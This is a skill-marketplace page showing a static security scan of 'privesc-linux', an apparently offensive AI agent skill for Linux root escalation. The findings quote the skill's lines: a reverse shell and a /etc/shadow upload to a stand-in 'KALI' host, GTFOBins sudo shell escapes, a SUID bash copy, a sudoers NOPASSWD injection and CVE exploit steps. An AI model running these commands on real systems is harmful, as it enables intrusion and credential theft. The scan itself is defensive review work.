pale-knight/redteam-skill / skills/privesc-linux
privesc-linux
FlaggedLinux local privilege escalation from a low-privilege shell to root. Covers quiet vs loud enumeration, sudo/GTFOBins, CVE-2025-32463 chwoot and CVE-2025-32462 host bypass, polkit/udisks CVE-2025-6018/6019, SUID/capabilities, systemd timers/units, cron/PATH/LD_PRELOAD, dangerous groups and docker.sock, host-local container escape, and version-gated kernel LPE including Copy Fail CVE-2026-31431. Use when the operator has a Linux foothold and needs root. Kubernetes RBAC stays in /k8s. Endpoint blocks hand off to /edr-bypass then return here.
Security report
FlaggedStatic analysis of one exact version. It reduces risk and shows evidence; it does not certify that a skill is safe.
- Commit
322d0d9da8c24488b9f43f4c1e9a1ae076f254f9- Content hash
9fa45cd5d4360f5b731bc6bdc2381a8355de8ae9dafacb22f2fc2e2d944c7c0f- Scanned
- 2026-11-17
- Scanner version
- skillxone-scan-1.0.0
- Policy version
- 0.1-draft
- Decision
- 6 open critical or high findings.
- Verification expires
- Not applicable
Findings (3 critical, 3 high, 5 medium, 38 low)
The command gives a remote host interactive control of this machine (a reverse shell).
sudo socat stdin exec:/bin/bashSuggested fix: Remove it.
The skill refers to system password files, a location that holds private data or credentials. The same file also sends data over the network, so severity was raised one level.
sudo apache2 -f /etc/shadowSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The command gives a remote host interactive control of this machine (a reverse shell).
# ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KALI/4444 0>&1'Suggested fix: Remove it.
A disk or partition tool can erase or reformat a drive.
fdisk -lSuggested fix: Remove disk and partition operations from the skill.
The skill refers to system password files, a location that holds private data or credentials.
grep -Rin "Host_Alias\|Host " /etc/sudoers /etc/sudoers.d 2>/dev/nullSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill refers to system password files, a location that holds private data or credentials.
ls -l /etc/passwd /etc/shadow /etc/sudoers /etc/sudoers.dSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill refers to system password files, a location that holds private data or credentials. Severity lowered from high because it appears in prose rather than code.
成功:`chroot` 后 `cat /mnt/etc/shadow` 或直接 host 的 `id`。这是 host root。Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
A local file is sent to a remote host.
sudo wget --post-file=/etc/shadow http://KALI/Suggested fix: Make uploads explicit to the user, name the destination, and never send files the task does not need.
The skill refers to system password files, a location that holds private data or credentials. Severity lowered from high because it appears in prose rather than code.
| cap_dac_read_search | 读 /etc/shadow、ssh key、cloud cred |Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill refers to system password files, a location that holds private data or credentials. Severity lowered from high because it appears in prose rather than code.
已在 SKILL 第 5 节。这里补 **可写 /etc/sudoers.d**:Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill refers to system password files, a location that holds private data or credentials. Severity lowered from high because it appears in prose rather than code.
可写 sudoers:`echo 'USER ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers` 然后 `sudo -i`。打完记下原文件以便 RESTORE。Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
A command runs with administrator privileges.
新版本可能已修。先 `sudo -l` / `find -perm -4000` / `getcap`,再对 **实际路径** 查,不要假设是 `/usr/bin/find`。Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo find / -exec /bin/bash -p \; -quitSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo vim -c '!bash'Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo nano # Ctrl+R Ctrl+X then reset; bash 1>&0 2>&0Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo less /etc/passwd # !bashSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo more /etc/passwd # !bashSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo awk 'BEGIN {system("/bin/bash")}'Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo python3 -c 'import os;os.system("/bin/bash")'Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo ruby -e 'exec "/bin/bash"'Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo env /bin/bashSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo bashSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bashSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo zip /tmp/x.zip /tmp/x -T --unzip-command="sh -c /bin/bash"Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo gcc -wrapper /bin/bash,-s .Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo script -q /dev/nullSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo docker run -v /:/mnt --rm -it alpine chroot /mnt shSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo journalctl # !bash 旧版Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo cp /bin/bash /tmp/rootbash && sudo chmod +s /tmp/rootbash && /tmp/rootbash -pSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo wget --post-file=/etc/shadow http://KALI/Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
dpkg -l linux-image-$(uname -r) sudo libc6 needrestart 2>/dev/nullSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
> 先 `sudo -l` 和 `sudo --version`。规则能 GTFOBins 就不要先打 CVE。Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo -lSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
dpkg -l sudo policykit-1 pkexec libblockdev* udisks2 2>/dev/nullSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
见 `gtfobins-common.md`。`(root) NOPASSWD: ALL` → `sudo -i`。有密码且当前用户密码已知 → `sudo -i`。Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
## 2. CVE-2025-32463 — sudo chwoot(`--chroot`)Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
脚本通常:建 stage 目录、编译恶意 NSS `.so`、`sudo -R <stage> <cmd>` 以 root 加载。成功直接进 root shell。Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo -h ALLOWED_HOST /bin/bashSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
只在 `sudoedit` / `sudo -e` 被允许且版本落在 advisory 时打。写入 sudoers 前备份。Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo -iSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo LD_PRELOAD=/tmp/x.so <允许的命令>Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
`sudo systemctl` 允许 `edit`/`start`/`daemon-reload` → GTFOBins systemd 路径。Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo -iSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
本模块是红队攻击模块。`sudo -l` 能 GTFOBins 就立刻 root,不要停在“发现可 sudo find”。写 cron/改 unit 是手段,**`id` 显示 `uid=0` 才是成功**。Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
dpkg -l sudo pkexec libblockdev udisks2 needrestart 2>/dev/nullSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
id ; sudo -l ; uname -r ; 是否容器Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
(root) NOPASSWD: /usr/bin/find → sudo find / -exec /bin/bash -p \; -quitSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
(root) NOPASSWD: ALL → sudo -iSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
可写 sudoers:`echo 'USER ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers` 然后 `sudo -i`。打完记下原文件以便 RESTORE。Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
Checks run
- prompt-injection
- dangerous-commands
- credentials
- network
- file-access
- integrity
Checks skipped
- dependencies: No dependency manifest in the skill directory.
- gitleaks: gitleaks is not installed on this host.
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| writing-skillsobra/superpowersUse when creating new skills, editing existing skills, or verifying skills work before deployment | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| xlsxanthropics/skillsUse this skill any time a spreadsheet file is the primary input or output. This means any task where the user wants to: open, read, edit, or fix an existing .xlsx, .xlsm, .xltx, .csv, or .tsv file (e.g., adding columns, computing formulas, formatting, charting, cleaning messy data); create a new spreadsheet from scratch or from other data sources; or convert between tabular file formats. Trigger especially when the user references a spreadsheet file by name or path — even casually (like "the xlsx in my downloads") — and wants something done to it or produced from it. Also trigger for cleaning or restructuring messy tabular data files (malformed rows, misplaced headers, junk data) into proper spreadsheets. The deliverable must be a spreadsheet file. Do NOT trigger when the primary deliverable is a Word document, HTML report, standalone Python script, database pipeline, or Google Sheets API integration, even if tabular data is involved. | Stars: 197k | Updated | Claude CodeCodex | Verified | Install |
| shipping-and-launchaddyosmani/agent-skillsPrepares production launches. Use when preparing to deploy to production, or when asking what needs to be in place before shipping. Use when you need a pre-launch checklist, when setting up monitoring, when planning a staged rollout, or when you need a rollback strategy. | Stars: 119k | Updated | Claude CodeCodex | Verified | Install |
| childhoodthedotmack/claude-memBabysit a shipped release after merge, publication, or deployment. Verify published packages, production behavior, installed plugins, and late CI or user reports until the observation window is clean; use babysit for PR readiness before release. | Stars: 118k | Updated | Claude CodeCodex | Verified | Install |